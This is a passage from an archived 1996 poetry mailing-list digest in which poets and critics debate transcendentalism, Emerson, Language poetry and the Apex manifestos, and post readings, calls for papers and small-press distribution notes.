except, as we did, to keep him present through our commentary and wait for possibly another day.

Jerome Rothenberg
Pierre Joris

↑ Index

597. Edward Foster
Re: Special Delivery
Fri 23 Feb 1996

---

big time reading, hey, WOW!

this sunday, May 25th, at Biblios (317 Church Street, Manhattan), 4:00P.M., honoring _Primary Trouble_, incredibly terrific reading with (alphabetically) borkhuis, foster, hooper, lauterbach, mobilio, myles, needell, o'brien, pettet, roberson, sartarelli, schwartz, seiler, shapiro, warsh, yau, and maybe even more amazing people, all words, words, words . . . oh, wow!

↑ Index

598. Jack Mahan
Re: the none
Fri 23 Feb 1996

On Friday, 2/23/96 Jonathan Levin said,

> *I go on at infinite length about this elswhere--suffice to say (in brief) that I think of pragmatism as a project of making explicit this worlded*

Johnathan,

To briefly draw from the astro-physicist's 'world-view' that I remain smitten with; *ELSEWHERE* constitutes ONE-HALF of _each and every_ Universe (the future being one quarter, the past being the other quarter, and the present being the linguistically undefinable origin of each space-time)!

But, bringing Emerson's 'Transcendence' and his (accurate?) one-big-eye caricature, into this thread, makes my knee jerk back to Poetics Journal #9 where the good Mr. Silliman 'made it so clear' in a letter to Leslie Scalapino:

"...the linked concepts of objectivity, truth, and transcendence (all moments in the same discourse), far from being an option or feasible goal for any or all people, has been rather a strategy for (and by) a specific cluster, one subset of the grouping WMH [white male het.]. The point was never objectivity, but rather identity - what subjective state could imagine a condition through which all other peoples disappear?"

Don't know if these gel together or are in line with the thread... but: in addressing what exactly we speak of when invoking / defining 'transcendence', I cannot abide overlooking privilege / pass-ability.

Happy Friday,
Jack

↑ Index

599. **Larry Price**
Wastin tiiime away....
Fri 23 Feb 1996

Aldon L Nielson wrote:

"maybe in the sense that the poetic often exceeds the "usual limits," but so do most drivers on the freeway, and I don't think that's what's meant by the usage here of late --

what us inspired, poetical materialist types object to is claims to transcendence from other poets who tell us that they are in contact with something "beyond material existence or apart from the universe" or "something beyond the limits of experience and knowledge" -- that is, few poets on the list mean by "transcendence" the logical sense of being an a priori condition; and I get myself in an uproar when confronted with claims that the "poetic" or "inspiration" are something unknowable or apart from experience, especially since this can usually be translated as "I have access to this inaccessible realm and you don't" --"

Although Messieurs Stroffolino and Levin may already have sufficiently demurred....

An example, and again to return to Spicer. When the dock extends into the bay, the larger ocean beyond it, the seabirds on it, together with THEIR possibilities for extension, there are two alternatives. There is Diebenkorn's, and although I have always enjoyed his work, I have likewise always been frustrated by it, its studio-bound quality, the constant frame of the studio in the foreground. The dock is there "as if"; the ocean is there "as if"; only the studio finally IS. And all within the "guise" of materiality.

The other alternative is, of course, Spicer, but also, according to very different language models, say, Alan Davies, Lyn Hejinian, Ron Silliman. I am continually being startled by the writing hand as it enters and exits the writing frame in THE CELL. Something like the opposite of being uncomfortable with the material in writing. The suggestion always seems to be (for me: I'm sure there are countless others) that it's there (here, in the reading) that that particular material fact ends and some other one(s) begin(s). I get this same sense, for

example, in the abutments Ron whirls into action in DEMO, not wildly catastrophic, but frequently, much like Spicer's understatement, requiring real lexical shifts to account for the overload. Within the model of language being operated, then, we are going somewhere else (not here). Granted that that isn't a strict sense of "transcendental," but then I think you'd agree that Emerson's not particularly Kantian. (Though her continual "bracketing" might qualify Lyn as Husserlian?) The fact is, all of the above has always made the term "realism" problematic for me, Jonathan's qualification of pragmatism as worlded/contingent transcendentalism notwithstanding. Ron?

lp

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600. **Jordan Davis**
studying anon
Fri 23 Feb 1996

Anent,
the fr. anim. film Fantastic Planet
oms discover the secret of the large beings' headphones--knowledge--
and of the meditation--
souls meeting on another planet to tango--
and the byproduct of this transcendence is master/slave--
brat/toys--
back to the reading room for me--

↑ Index

601. **Edward Foster**
Re: the none
Fri 23 Feb 1996

---

as for transcendance as white male, etc., i find that very assertion (_i_ find that assertion) abhorent, divisive, inexcusable. the sweeping gesture that asserts "identity" as the first principle, is far worse than merely reductive.

↑ Index

602. **Maria Damon**
Re: write that boy
Fri 23 Feb 1996

---

nice work jt!

↑ Index

603. **Edward Foster**
AMAZING EVENT
Fri 23 Feb 1996

PROSPECT: The Second Sensational
Festival of Russian and American
Poetry and Poetics

Arkadii Dragomoshchenko, Vadim Mesyats, Maya Nikulina, Lev Rubenshtein, Elena Shvarts, Ivan Zhdanov -- Bruce Andrews, Eileen Myles, Ron Padgett, Leslie Scalapino, Aaron Shurin, John Yau -- plus a most stellar assembly of other great poets, critics, academics, surprise guests, and more totally terrific people.

Call for papers: poets and critics/scholars are invited to participate in academic sessions and panel discussions. Please sumit proposals as soon as possible but no later than May 1st.

Poets who wish to read their work at the festival, please let us know as soon as possible.

May 23-26, 1996
Stevens Institute of Technology
Hoboken, NJ (directly across thge river from Manhattan)

resistration fee: a mere $35 (tho is that's too much, say so! all we
really want to to SEE YOU HERE!)
Amazing (reasonably priced) dinners!
Limited (inexpensive!) on-campus housing, available on first-come, first-
serve basis.

for information: Vadim Mesyats or E. Foster, Dept. of Humanities, Stevens Institute of Technology, Hoboken, NJ 07030; tel [redacted]; fax [redacted]; e-mail [redacted].

↑ Index

604. **Edward Foster**
Re: the none
Fri 23 Feb 1996

---

any recognition of transcendence linked to ritual or repitition misses. the emersonian argument rests in the recognition that one never really "has" anything. which is why a poetics drawn from political considerations is always minor.

↑ Index

605. **Paul Beidler**

CFP: L E G A C I E S

Fri 23 Feb 1996

Call for Papers:

L E G A C I E S

A cross-disciplinary graduate student conference hosted by the Nineteenth-Century Group at the University of Toronto

September 27-29, 1996

The theme of this year's conference is the cultural manifestations of inheritance in the period 1780-1901. Possible topics might include, but are not limited to:

* Narrative, Genre and Tradition
* Heredity and Genetics
* Initiation and Baptism
* History, Memory and Identity
* Patronage and the Arts
* Wills and Bequests
* Reform and the Law
* Convention and Invention
* Original Sin and Adamism

We encourage papers and panels which investigate literature, history, drama, fashion, economics, music and the performative arts, theology, philosophy, the law, technology and industrial design, politics and science in the period.

Please send 300-500 word abstracts (3 copies) postmarked no later than June 1, 1996 to:

Legacies Conference Committee
Graduate Department of English
University of Toronto
7 King's College Circle
Toronto, Ontario
M5S 1A1

Abstracts and queries can also be e-mailed to Ann-Barbara Graff at [redacted] or faxed to [redacted].

--
Paul G. Beidler
http://www.epas.utoronto.ca/~pbeidler/
"To hate, to love, to think, to feel, to see; all this is nothing but to perceive." David Hume, A Treatise of Human Nature.

↑ Index

606. **Maria Damon**
Re: Brownie McGhee
Fri 23 Feb 1996

---

no, say it aint so...rest in poetics --brownie, i saw him a coupla times at passim, in harvard square..., and sanders theatre...is it true he and sonny terry never really got along?--md

↑ Index

607. **Maria Damon**
Re: Some Thoughts on Eigner [long post]
Fri 23 Feb 1996

---

hey loss: coolness. exponential groove factor.--maria

↑ Index

608. **Daniel Bouchard**
wobblin' chains
Fri 23 Feb 1996

A friend who works at a Borders (not in Philadelphia) as an Assistant Manager tells me that booksellers in the Philadelphia store have approached the Industrial Workers of the World to organize the booksellers. If you've ever worked in retail you don't need to ask why. Borders management in Ann Arbor is dispatching lawyers to 17th and Walnut quicker than you can special order the Martha Stewart Anarchist hors d'oeuvre book. That's all I know right now. Anybody else?

[redacted]

↑ Index

609. **Larry Price**
Re: the none
Fri 23 Feb 1996

Ed:

What about a poetics that attempts to ground its political desire in precisely those macro-senses? I think we can safely say it won't be the New Deal. Nonetheless, to "write a republic in gloom," however much cast in desire, doesn't seem like a minor undertaking.

lp

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610. Maria Damon
Re: roof
Fri 23 Feb 1996

Subject: Re: ROOF BOOKS -- Special Offer

please send scalapino, bernstein and maclow to
maria damon
128 racing beach ave.
falmouth MA 02540
thanks

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611. Madeline Gins
Poetic Jumps
Fri 23 Feb 1996

For a CD-Rom of our work, The Mechanism of Meaning, the deadline for which has just about arrived, we are urgently or semi-urgently seeking as many quintessential and beyond quintessential poetic jumps (not all poetic jumps need be poetic) as possible even as we keep these to a minimum--the question for today then is, what in all justice ought not to be missing from this list:

Mind: evaporated birds
-Iluard

What is Mind?
A pine tree, a breeze, a voice
In a forgotten painting
- Ikkyu

Every act is a virgin, even repeated.
-Char

This virgin, this vivid, this fine today
Will it strike us with a blow of its drunken wing
-Mallarmi

We have two eyes but not yet the ten thousands eyes we require
-Nietzche (citation not exact yet)

[For those who are unfamiliar with our project (The Mechanism of Meaning, Abbeville Press, 1988 third edition, out-of-print; to be re-issued soon??), here are patches of exegesis in regard to two of the sixteen subdivisions under which

the related texts (poetic jumps that fit the concise into the mould of the succinct may, for present purposes, run up to a couple of paragraphs in length) will fall.]

Degrees of meaning:

To surround the mechanism or (condensed?) process of meaning through a series of poetic jumps; the grand, old incessant sidling up to what s what

Energy of Meaning:

that which holds the face of consciousness and names it other that which holds the facelessness of consciousness that which mediates the face and the about face along with the facelessness the line up--the row of oblique-to-each-other bodies of consciousness what mediates (by means of cilia near and far, neuropeptides low and wide, chi ubiquitously, orgone energymatter on hold, neurons on the go, all extreme fields, etc,) in meaning as meaning--[meaning: the nod of recognition by any neck or neckness whatsoever; the by a neck.] The implicature of the poetic jump: replace distinctions with micro-distinctions until....

Arakawa
Madeline Gins

↑ Index

612. **Madeline Gins**
Re: POETICS Digest - 15 Feb 1996 to 16 Feb 1996
Fri 23 Feb 1996

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Arakawa
Madeline Gins

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614. David Kellogg
Premonitions
Fri 23 Feb 1996

Just got *Premonitions: The Kaya Anthology of New Asian North American Poetry* in the mail today, and have been reading voraciously since. This is a mind-blowing, assumption-confounding, astonishing book. Thanks to Walter Lew if you're out there and everybody involved in the project.

Cheers,
David
~~~
~~~

There is some excitement in one corner,
but most of the ghosts are merely shaking their heads.

-- Thomas Kinsella

↑ Index

616. **Joseph Zitt**
New Work
Fri 23 Feb 1996

Swallowing my nerves and breathing deeply:
I've put what should be my next chapbook
(assuming I ever get to putting it on paper)
"tsiuf (the act of floating above)"
up on the Web as an Adobe Acrobat file:
http://www.realtime.net/~tsiuf/pdf1-24.pdf

It's the first 24 sections (one page each) of what will grow to be a very long work (I hope).

I'd appreciate any feedback, of course...

A description from the preface:

tsiuf (the act of floating above) is
. a mechanized inverse kabbalistic jabberwocky
. an attempt to wrest meaning from the jaws of chance
. a hubristic ad-hoc American Jewish I Ching.

My goal in writing it: to create a large work in small sections, each part of which surprises me with unexpected demands. The core of the work is a text, apparently in Hebrew, generated by random processes in a computer program. The program created a list of ten thousand Hebrew letters, spaces, and line endings, organized into lines of one to five "words", each of which is from two to five letters long. The result was 668 lines of text. I examine the words in each line of text as if it were the statement of an oracle. A few real Hebrew words appear; for the others, I assume that the creator of the words created them by combining existing Hebrew words and search the dictionaries for what those words might have been. Once I have translated the Hebrew line, I then use the translation as the source for a column-long text in English. (Some Hebrew words appear in the English text, positioned so that the reader who does not read Hebrew is not missing important information.) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

617. **Peter Jaeger**
Re: L poets, M poets, Lacan, etc.
Sat 24 Feb 1996

"By 'letter' I designate that material support that concrete discourse borrows from language" --Jacques Lacan

I'm haunted by the writing of barred S poets (/ superimposed over S),

Poetry of the fading barred S who doesn't die in the sense of Barthes author-death but who is subject to the Daddy's constitution as what s/he is not: I am another

"Fading is not disappearance, but something more haunting: a presence that cannot be located and yet cannot be definitely renamed as absence so that we will cease searching for it" --Tilottama Rajan, _The Supplement of Reading_.

-Peter Jaeger

↑ Index

618. **Michael Boughn**
Re: the none
Sat 24 Feb 1996

Emerson's "transcendence" has to do with the mechanics of a self that is always already other or further. Sometimes called the figure of outward. As if what you see as containing you comes from somewhere other than you think.

Mike
[redacted]

↑ Index

619. **Maria Damon**
Re: Premonitions
Sat 24 Feb 1996

---

hey guyzies, walter lew and i will be reading at Poetry City, NYC, March 14th. I think walter's gonna read from the anthology, n'est-ce pas, wall? do check out premonitions, it's a total gas.--md

↑ Index

620. **- Kim Tedrow**
Re: Premonitions
Sat 24 Feb 1996

Maria,

Hi, don't know if you remember me, my name is Kim Tedrow.

I was a student in your "Language Poets" class several years ago (actually never did finish that damn paper).

Nice to see you via this medium. I'm on the East Coast now, DC area. Drop me a line if you're reading around here - I'll come!!

I'm living with my daughter in Maryland, still writing, finally seeing some publication success (had a poem appear recently in *Cyphers*, Dublin Ireland, and am appearing in a couple of Web publications). I moderated the AOL poetry workshop for a year, but burned out on horrible poetry and people begging me to critique it for them. :)

Nice to "see you" on the net - are you still at the University of Minnesota?

Regards,
Kim

↑ Index

621. **Steve Carll**
barred S bards
Sat 24 Feb 1996

At 05:55 AM 2/24/96 -0500, Peter Jaeger wrote:
>I'm haunted by the writing of barred S poets (/ superimposed over S),
>
>Poetry of the fading barred S who doesn't die in the sense of Barthes
>author-death
>but who is subject to the Daddy's constitution as what s/he is not: I am
>another
>
>"Fading is not disappearance, but something more haunting: a presence
>that cannot be located and yet cannot be definitely renamed as absence so
>that we will cease searching for it" --Tilottama Rajan, _The Supplement
>of Reading_.

Peter, I'm curious: who do you think of as a barred-S poet? The first one who came to my mind was Celan, then (in a slight shift of medium) the English folksinger Nick Drake. Anyone else?

The Rajan quote is really beautiful, btw.

Steve

↑ Index

622. Ron Silliman
Trans Sending
Sat 24 Feb 1996

Quoth the Price club: what us inspired, poetical materialist types object to is claims to transcendence from other poets who tell us that they are in contact with something "beyond material existence or apart from the universe" or "something beyond the limits of experience and knowledge" -- that is, few poets on the list mean by "transcendence" the logical sense of being an a priori condition; and I get myself in an uproar when confronted with claims that the "poetic" or "inspiration" are something unknowable or apart from experience, especially since this can usually be translated as "I have access to this inaccessible realm and you don't" --" ----------

In the 1950s, what you find by way of transcendentalism is the claim that in the poem the daily, the local, the particular is connected to universal (but otherwise not especially visible) stuff. Both Olson and Duncan make this claim, for example. Ditto Snyder and McClure in somewhat different fashion(s). Which is why Spicer's god (the baseball is, after all, not truly BIG but very small and very fast when you're standing in the box, baby) comes over as such a relief. Or simply Creeley's manifest common sense.

What I read that 50s transcendentalism as is a form of anxiety over the professional status of poetic knowledge in a world where folks were rapidly staking claims. Consider, for example, Zukofsky's writing about a "scientific" definition of poetry. The New Critics were, after all, poets and very conservative ones, both racist and homophobic in fairly specific demonstrable ways. Their claim to knowledge was to how to read, closely, mimicing scientific methodology in their "objective" examination of a text.

Olson, who certainly saw the implications of such intellectual franchising in his political work in the 1940s, seems to have wavered at times over his claim, between the historicism of his fishing archives on the one hand and the "curriculum of the soul" on the other. For all of it, his best poems are "about" nothing in particular, they just are.

The interesting case, it seems to me, would be Whalen, who seems genuinely and profoundly spiritual without using it to make claims for authority in his work. It's simply a fact of the writing, take it or leave it. (I find it most evident in his use of the noun.) This is a strategy that has been taken as well by many

later writers, Norman Fischer, Fanny Howe, Steve Benson, Alan Davies, Kit Robinson all being fine examples.

I find it interesting (appalling) that the Apexers have tended to focus not on a poetic tradition that is imbued with the spiritual, but rather on one that uses it as a claim (Authorization in the most literal sense) for the value of the work as such. I think it's that claim to special knowledge that they're really interested in (worried about).

My sense is that Pound was the one really who proposed (at least for the 'Murkans) that a poet's legitimacy in the modern world depended upon some status of knowledge. It's the basis for so much hoohah in his poems, not to mention the crank economics (which seems to have returned of late in the happy face of Steve Forbes). But what if the value of a poem has nothing to do with its function as a source for information ("the news") beyond itself? What about all this writing?

Ron Silliman
[redacted]

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623. Thomas Bell
Re: Trans Sending
Sun 25 Feb 1996

Ron,
As I re-read your comment it appears more far-reaching, especially here in Nashville where there is a different and vocal version of _truth_ on every streetcorner.
tom bell

↑ Index

624. Gabrielle Welford
Re: wobblin' chains
Sun 25 Feb 1996

Yes, Wobblies will be the union of the Borders staff in Philly if the negotations go thorugh. And it looks as though they will. Gab.

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625. Ron Silliman
Trans Sending, TN
Sun 25 Feb 1996

You wrote:
>
> Ron,
> As I re-read your comment it appears more far-reaching,
>especially here in Nashville where there is a different and vocal
>version of _truth_ on every streetcorner.
>tom bell
>
Truth in Nashville would seem to be whoever is playing the breakfast
shift at Tootsie's, if I have that name right (the only low-end bar w/
24 hour live music I've ever seen), or whatever bargains are hiding in
the back of that great guitar shop down the street. What the truth is
NOT is that big Caddy that belonged to Elvis at the Country Music Hall
of Fame. (For pure ostenation, I prefer the airplane, the Lisa Marie,
set down there in the parking lot across the street from Graceland,
just waiting for your tour--but that's Memphis, a very different town.)

Hatch Show Print, the poster maker for the Grand Ol' Opry and before that for minstrel shows throughout the south, is also pretty terrific, tho I believe they've moved around the corner to facilitate more faceless development, no?

Ron Silliman
[redacted]

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626. Jordan Davis
The Icebox in Summer
Sun 25 Feb 1996

Ron,
you wrote,
what about all this writing?
I'm not sure I understand the question.
Is this in re Pound's claim to be the best condensation maker
Or Olson's Alfred North Whitehead impression or is it the throbbing
yellow light
that woke me up at a quarter to four last night
a power line down and arcing?
Jordan

↑ Index

627. **Patrick Phillips**

Re: Trans Sending

Sun 25 Feb 1996

I've had this bone to pick for a while now. I think particularly since Schwartz's transcendent lyric essay in Talisman which coupled logical transcendence with transcendentalism....

This need among transcendentalists to "climb over" history seems a sign of the exasperated Mind. Mind exasperated that body won't move - I'm trying to think of that Lowell George (Little Feat) phrase, but for some reason I draw a blank... With the exasperated mind, the _public_ gives way to -privatization-, to a publicity of ekstatic spaces. What a hell it must be to be stranded there, in an elsewhere without recourse, without the constant shock of labor that forces one back into the real _world_"

What I liked about the later Poetics Journals is that they explored this place without giving in to a monopolar view - particularly "Elsewhere" (I would give the number of the issue, but my books are packed away as I am living in a temporary space here in Providence) performed as a bridge to a condition of reading and writing that is social, political, historical and "The Person" insisted that the personal co-exist with its context - that in fact is the person, the site of the private and public.

As a matter of poetics, there is a connection between the ekstatic and the lyric that is almost insufferable. That the lyric claims a space of recuperation, of loss which in turn idealizes its object, thereby posessing it, is foolery. It seems to be this same kind of foolery with which transcendentalists "recuperate," i.e., lose history. What's interesting though is that when you place this critique upon a very lyric and very private poet like Niedecker the work comes out of hiding. Not to say that this critique can _transform_ all lyric poetry. Niedecker just has a particular "there is work to do" ethic about her work. The material of her poetry, its construct, along with its work-ethic allows for its critical transformation. The work goes to work...

To this, again, Mr. Silliman:

> *What about all this writing?*

[redacted]

↑ Index

628. **Thomas Bell**
Re: Trans Sending, TN
Sun 25 Feb 1996

Ron, yes, Grand Old Opry continues to expand and its parking lot will soon take over the city. The truth I was referring to was religious Truth, however. I am one of the authors of _How to Mutate and Take over the World_ and the response here should be interesting.

tom

On Sun, 25 Feb 1996, Ron Silliman wrote:

> *You wrote:*
>
> *Ron,*
> *As I re-read your comment it appears more far-reaching, especially here in Nashville where there is a different and vocal version of _truth_ on every streetcorner.*
> *tom bell*
>
> *Truth in Nashville would seem to be whoever is playing the breakfast shift at Tootsie's, if I have that name right (the only low-end bar w/ 24 hour live music I've ever seen), or whatever bargains are hiding in the back of that great guitar shop down the street. What the truth is NOT is that big Caddy that belonged to Elvis at the Country Music Hall of Fame. (For pure ostenation, I prefer the airplane, the Lisa Marie, set down there in the parking lot across the street from Graceland, just waiting for your tour--but that's Memphis, a very different town.)*
>
> *Hatch Show Print, the poster maker for the Grand Ol' Opry and before that for minstrel shows throughout the south, is also pretty terrific, tho I believe they've moved around the corner to facilitate more faceless development, no?*
>
> *Ron Silliman*
> [redacted]

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629. **Chris Stroffolino**
Re: Trans Sending
Sun 25 Feb 1996

Hey Patrick-- I think the line is "You know that you're over the hill When your mind makes a promise that your body can't fill"-- But I don't know if everything called transcendentalism (though you may be right about Schwartz--who seems a vulgar transcendent- alist to me) need be seen as

an attempt to "climb over" history. Emerson's notion of history still is quite attractive to me (moreso than Pound's "special view"). Like Stein's continuous present. A radical questioning of what's CALLED history---about how linear notions of history tend to reduce times into period and are often a projection of "the present" which of course can not be defined as such. The appeal to history and the appeal to "god" or what O'Hara called "elaborately sounded structures" may be all of a similar piece. Chris S.

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630. **Peter Jaeger**
Re: barred S bards
Sun 25 Feb 1996

On Sat, 24 Feb 1996, Steve Carll wrote:

> *Peter, I'm curious: who do you think of as a barred-S poet? The first one who came to my mind was Celan, then (in a slight shift of medium) the English folksinger Nick Drake. Anyone else?*
>
> *Steve*

I suppose one could define a barred S(ubject) poet in numerous ways. I was thinking about writers who blur speech/writing boundaries through pun, homophonic translation, paragram etc. In the case of homophonic translation, for example, the aural phonemes suggest the presence of a body--a speaking subject with ears and mouth--but the graphic notation is detached from the speaking subject. So in a trans such as Zukofsky's "A" 15 (the opening passage of the book of Job) what we read is what we hear, but what we hear is also not necessarily what we read. The resulting negotiation of speech/writing calls into question the notion that the "I" (unbarred subject) is the originater of its own meaning; meaning is similtaneously somatic and textual, hence the self as unified I/body/author fades but does not disappear, does not die (a la Barthes)...it becomes the barred S. This is not to say that the body is not already textual, but to problematize the relationship between body as text and writing--a kind of intersemiotic translation between somatic and textual sign systems.

If anyone is interested, the next issue of _West Coast Line_ (29/3, to be distributed within the next month) is publishing an article that I wrote on bpNichol's translation poetics in relation to the barred S.

-Peter Jaeger

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631. Tony Green
on again
Sun 25 Feb 1996

Dear Poetics Listers,
Having been off air since early December, due to circumstances beyond my control (aka University of Auckland), I thought I shd say I'm back on the list again, lurking for a while, reading a larbge number of stored messages that go back to December 7, 1995.
Best wishes to all,

Tony Green,
e-mail: [redacted]

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632. Jordan Davis
In Praise of Erasmus
Mon 26 Feb 1996

> *As a matter of poetics, there is a connection between the ekstatic and the lyric that is almost insufferable. ------>That the lyric claims a space of recuperation, of loss which in turn idealizes its object, thereby posessing it, is foolery.<------- It seems to be this same kind of foolery with which transcendentalists "recuperate," i.e., lose history. What's interesting though is that when you place this critique upon a very lyric and very private poet like Niedecker the work comes out of hiding. Not to say that this critique can _transform_ all lyric poetry. Niedecker just has a particular "there is work to do" ethic about her work. The material of her poetry, its construct, along with its work-ethic allows for its critical transformation. The work goes to work...*

Just to take your remark out of context, Patrick, but isn't that an idea about one kind of lyric? A kind of ex post facto, nostalgic lyric that has its place in the hillsides of one's early twenties, mid-forties, late sixties, etc? And Sappho, doesn't she write loss at the moment of loss (Hi Loss!), to preserve that most ambivalent moment accurately? Wouldn't she say that love is the cite of that meeting between having and lacking? No?

Nostalgic for nostalgia,
Jordan

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633. **Henry Gould**
trans sending etc.
Mon 26 Feb 1996

Patrick writes : "that the lyric claims a space of recuperation, of loss which in turn idealizes its object, thereby possessing it, is foolery. It seems to be this same kind of foolery with which transcendentalists "recuperate..."

This impulse to make an icon or idol of the "love-object" seems as you say pervasive. But what would you say about epic, say Dante & Homer, in which the theme of individual love is not rejected (Beatrice & Helen/Penelope respectively) - but is reconceived, redefined, "contextualized". Yet the theme itself remains at the core of the poetic effort.

The creative struggle between the genres becomes a site for new poetry. With reference to Ron's comments about 50s transcendence, I would say the Olson type impulse toward the cosmic is less due to anxiety over the definition of poetic knowledge than a "push" toward fulfilling epic demands. As I see it, the (dubious) argument that the New Critics were all arch-reactionaries is not really relevant. Ron's statement that the best Olson poems are not "about" anything beyond their own making is classic New Critical theory. The dilemma for poets in the 50s was not New Critical pseudo-scientific objectivity but New Critical academic a-historicism. The beautiful discoveries of inner architecture people like Cleanth Brooks discover in Keats & Donne are necessary but not sufficient means to writing poetry either in the 50s or now.

If L poets claim that "instrumental" language supports the power structure and that therefore "deconstructive" non-referential language is the essence of liberating poetics, then the M poet claim that knowledge about the world is necessary & has consequences seems an inevitable & healthy reaction. I will leave it to the s-slash poets to trace the ephemeral ghoul in the hgould, i.e. the gold gleam in the glum gloom-gum. - H.Gould

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634. **Mark Roberts**
Re: query: book distribution
Mon 26 Feb 1996

>I'll be part of a panel on electronic publishing at the AWP Convention
>in Atlanta this April; I'll be doing a presentation on using the internet
>to keep books in print, to distribute them despite the economic pressures
>that are driving small & university presses out of bookstores, etc.
>(Given all the scares about internet as the death of the book, it seems
>important to turn attention to the alternate economy the net can sustain.)

>I've run across a few instances of small presses and bookstores marketing
>their stock on mailing lists and on the web; I'd like to know more and to
>make these resources more widely available, and this convention seems
>like a good start. If you know of major distributors on-line--especially
>those dealing with small press books--or poetry bookstores, presses, samisdat
>networks with websites or email addresses, please send them to me, and I'll
>see that they're distributed as widely as I can manage. I'll get them
>out at AWP, and I'll post them on the CAPA site as well.
>
>Many thanks,
>Wendy
>
>----------
>Wendy Battin
>[redacted]
>[redacted]
>
> Contemporary American Poetry Archive
> http://camel.conncoll.edu/library/CAPA/capa.html
>----------

Australian Writing On Line is setting up a 'Virtual Bookshop' of Australian small presses and lit mags. We are also involved in conventional distrubution but are using the net for promoting the works we distribute. We have just set up a web site at http://ozemail.com.au/`awol - its pretty rough at the moment and the Virtual Bookshop details haven't been uploaded but please feel free to have a look. AWOL's email address is [redacted] - I'm posting on this account because this is where I'm subbed to the poetics list.

regards

Mark

_____

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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635. **Mark Wallace**

dead horses

Mon 26 Feb 1996

Chris B., Chris S., Jordan, Al, Ron and others:

At the risk of beating a dead horse, I do want to say that Chris S' mention of Emerson is definitely key to the sort-of-discussion of emerging poetics we've been having in the last week or so. My use of "transcendentalist" in referring to the Apex poets was definitely meant as such, and not as "transcendent' more broadly. The status of the contact between human and transcendent spirit in Emerson's work is definitely complex--I'm thinking of Duncan's comment about "taking Emerson dark"--Emerson seems to have that contact sometimes, and at others fail to have it (Emerson knew all about moodiness, certainly). The question of the "religion" in Emerson is very complex--he left the church, of course, and all that stuff about a "transparent eyeball" would have driven post-Puritan New England wacky. I'm not an expert here, but if I recall correctly it was definitely NOT New England mainstream protestant doctrine at the time to suggest that human beings had any sort of ecstatic oneness with a "spiritual" universe broadly defined--I would welcome more precise information on this subject.

So, in taking a stance of a sort of rebel spiritualism that rejects the overwhelming influence of mediation (of language, or a church, etc), the Apex folks are really calling (if indirectly, perhaps) on the same kind of Emersonian revolution. But I still don't think they're doing it as sophisticatedly as they need to. And despite Chris S. desire to disagree here, I'm going to reassert that my Oedipal metaphor is of significance in describing the situation. One can't understand Apex without understanding the hot bed environment of the UBuffalo Poetics Program--the intensity of a Charles Bernstein or Susan Howe or Robert Creeley or Dennis Tedlock or Ray Federman seminar, the amazing poets showing up from all over the world at all times, the incredible presence of the poetry Rare Books Library with (through its director Bob Bertholf) its complex interest in the spiritual strains of American innovative verse perhaps as exemplified by Duncan (although for me, Ron S. is right--I like Spicer better). The POWER of language poetry is perhaps more concentrated there at UB than anywhere in the country, and one can't help but feel it, and perhaps even feel overwhelmed by it. So what are you going to do if you're a young poet there? BE a language poet? Be a "second-generation" language poet? Be something else entirely? I've tended to read Apex's comments on language writing as "methinks they doth protest too much"--the desire to deny the influence of language writing in the Apex manifestos tends to reveal it at every turn. Still, I think they deserve credit for taking on some significant issues. Who knows if they even still believe some of the things they said in the first manifesto?

But I have to put my two-cents in (and Jordan Davis: yes you knew I knew you were kidding!) because I feel like there have been a whole other range of responses to the particular dilemma of language poetry's influence, but they don't get any attention. I've been attempting to deconstruct the image of "torch-passing" that was recently suggested--that stuff burns, and my high school experience of pyromaniacs is that sooner or later they always light THEMSELVES on fire. But I've been on this list about 18 months, and I've not seen one mention of Charles Borkhuis' excellent article in ONTHEBUS which discusses possible relations between surrealism and language writing. I've not seen anyone engage with the incredible criticism Steve Evans has written on post-language writing in the Oblek anthology, and Taproot and elsewhere--for me, Evans work has been the ground from which I began thinking about these issues. I remember one small discussion of Juliana Spahr's and Jena Osman's innovative editorial stance in Chain. Granted, there's no particular reason that people should discuss those writers anymore than any other interesting writers. But how many times has Apex been the subject of discussion on this poetics list? How many times have they even suddenly provided a name by which a whole generation of poets might be known? What's that about? Do they really offer the most significant post-language theories? Does their sensationalism simply make for more enjoyable e-talk? Do they provide a convenient way to avoid thinking about the complexities of influence?

Rod Smith has warned me not to turn into a "one-issue candidate" on this problem, and I'm meaning to take his advice any day now. Really I am. But Rod's In Memory of My Theories marks him as an excellent O-poet, and I'm hoping that the title of his book does not eventually seem too prophetic.

mark wallace

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636. **Don Cheney**
Re[2]: roof
Mon 26 Feb 1996

---

maria

couldn't help reading FOULMOUTH for FALMOUTH.

a foulmouth,
don

Subject: Re: ROOF BOOKS -- Special Offer

please send scalapino, bernstein and maclow to
maria damon
128 racing beach ave.

falmouth MA 02540
thanks

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637. **Douglas Messerli**
Re: query: book distribution
Mon 26 Feb 1996

Dear Wendy,

I presume you know Sun & Moon Press's website address, since I've annouced it several times on the Poetics List. But just in case, it's www.sunmoon.com

Douglas Messerli

At 11:52 AM 2/26/96 -0400, you wrote:
>>I'll be part of a panel on electronic publishing at the AWP Convention
>>in Atlanta this April; I'll be doing a presentation on using the internet
>>to keep books in print, to distribute them despite the economic pressures
>>that are driving small & university presses out of bookstores, etc.
>>(Given all the scares about internet as the death of the book, it seems
>>important to turn attention to the alternate economy the net can sustain.)
>>I've run across a few instances of small presses and bookstores marketing
>>their stock on mailing lists and on the web; I'd like to know more and to
>>make these resources more widely available, and this convention seems
>>like a good start. If you know of major distributors on-line--especially
>>those dealing with small press books--or poetry bookstores, presses, samisdat
>>networks with websites or email addresses, please send them to me, and I'll
>>see that they're distributed as widely as I can manage. I'll get them
>>out at AWP, and I'll post them on the CAPA site as well.
>>
>>Many thanks,
>>Wendy
>>
>>----------
>>Wendy Battin
>>[redacted]
>>[redacted]
>>
>> Contemporary American Poetry Archive
>> http://camel.conncoll.edu/library/CAPA/capa.html
>>----------
>Australian Writing On Line is setting up a 'Virtual Bookshop' of Australian

>small presses and lit mags. We are also involved in conventional
>distrubution but are using the net for promoting the works we distribute.
>We have just set up a web site at http://ozemail.com.au/`awol - its pretty
>rough at the moment and the Virtual Bookshop details haven't been uploaded
>but please feel free to have a look. AWOL's email address is
>[redacted] - I'm posting on this account because this is where I'm
>subbed to the poetics list.
>
>regards
>
>
>Mark
>
>
>_____
>Mark Roberts
>Student Systems Project Officer
